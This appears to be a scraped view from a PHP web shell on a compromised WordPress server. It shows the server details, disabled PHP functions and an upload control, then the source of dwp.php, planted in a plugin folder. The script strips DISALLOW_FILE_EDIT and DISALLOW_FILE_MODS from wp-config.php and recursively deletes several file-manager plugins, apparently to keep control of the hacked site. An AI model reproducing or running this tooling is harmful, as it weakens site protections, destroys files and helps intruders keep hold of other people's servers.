HEX
Server: Apache
System: Linux uyu7574470001-7d78c9ff74-xfpwm 4.19.91-21.al7.x86_64 #1 SMP Wed Sep 2 19:47:49 CST 2020 x86_64
User: ()
PHP: 7.4.16
Disabled: chmod,exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,socket_create_listen,socket_create_pair,socket_create,socket_get_option,socket_getpeername,socket_getsockname,socket_last_error,socket_listen,socket_read,socket_recv,socket_recvfrom,socket_select,socket_send,socket_sendto,socket_set_block,socket_set_nonblock,socket_set_option,socket_shutdown,socket_strerror,socket_write,stream_socket_client,stream_socket_server,pfsockopen,disk_total_space,disk_free_space,chown,diskfreespace,getrusage,get_current_user,getmyuid,getmypid,dl,leak,listen,chgrp,link,symlink,dlopen,proc_nice,proc_get_stats,proc_terminate,shell_exec,sh2_exec,posix_getpwuid,posix_getgrgid,posix_kill,ini_restore,mkfifo,dbmopen,dbase_open,filepro,filepro_rowcount,posix_mkfifo,putenv,sleep,fsockopen
Upload Files
File: /usr/home/uyu7574470001/htdocs/wp-content/plugins/zedd2703/m/dwp.php
<?php
@ini_set('display_errors', 1);
@error_reporting(E_ALL);

echo "<h2>đŸ—‘ī¸ WP Config Cleaner (Remove DISALLOW FILE EDIT / MODS)</h2>";

$config = find_config();
if (!$config) exit("❌ wp-config.php tidak ditemukan!");

echo "✅ Ditemukan: <code>$config</code><br>";

remove_from_config($config);
clean_plugins(dirname($config));

function find_config() {
    $d = __DIR__;
    while ($d !== dirname($d)) {
        if (file_exists("$d/wp-config.php")) return "$d/wp-config.php";
        $d = dirname($d);
    }
    return false;
}

function remove_from_config($file) {
    $cfg = file_get_contents($file);

    $removes = [
        "define('DISALLOW_FILE_EDIT', true);",
        "define('DISALLOW_FILE_MODS', true);"
    ];

    $changed = false;

    foreach ($removes as $line) {
        if (strpos($cfg, $line) !== false) {
            $cfg = str_replace($line, '', $cfg);
            echo "đŸ—‘ī¸ Hapus: <code>$line</code><br>";
            $changed = true;
        }
    }

    if ($changed && is_writable($file)) {
        // rapikan newline ganda
        $cfg = preg_replace("/\n{2,}/", "\n", $cfg);

        file_put_contents($file, $cfg);
        echo "✅ wp-config.php sudah dibersihkan<br>";
    } else {
        echo "â„šī¸ Tidak ada yang dihapus atau file tidak bisa ditulis<br>";
    }
}

function clean_plugins($wp_root) {
    $dir = "$wp_root/wp-content/plugins";
    $bad = ['wp-file-manager', 'wpspy', 'file-manager-advanced', 'malicious-uploader'];

    foreach ($bad as $p) {
        $path = "$dir/$p";
        if (is_dir($path)) {
            delete_recursive($path);
            echo "đŸ—‘ī¸ Plugin dihapus: <code>$p</code><br>";
        }
    }
}

function delete_recursive($d) {
    foreach (scandir($d) as $f) {
        if ($f === '.' || $f === '..') continue;
        $path = "$d/$f";
        is_dir($path) ? delete_recursive($path) : unlink($path);
    }
    rmdir($d);
}
?>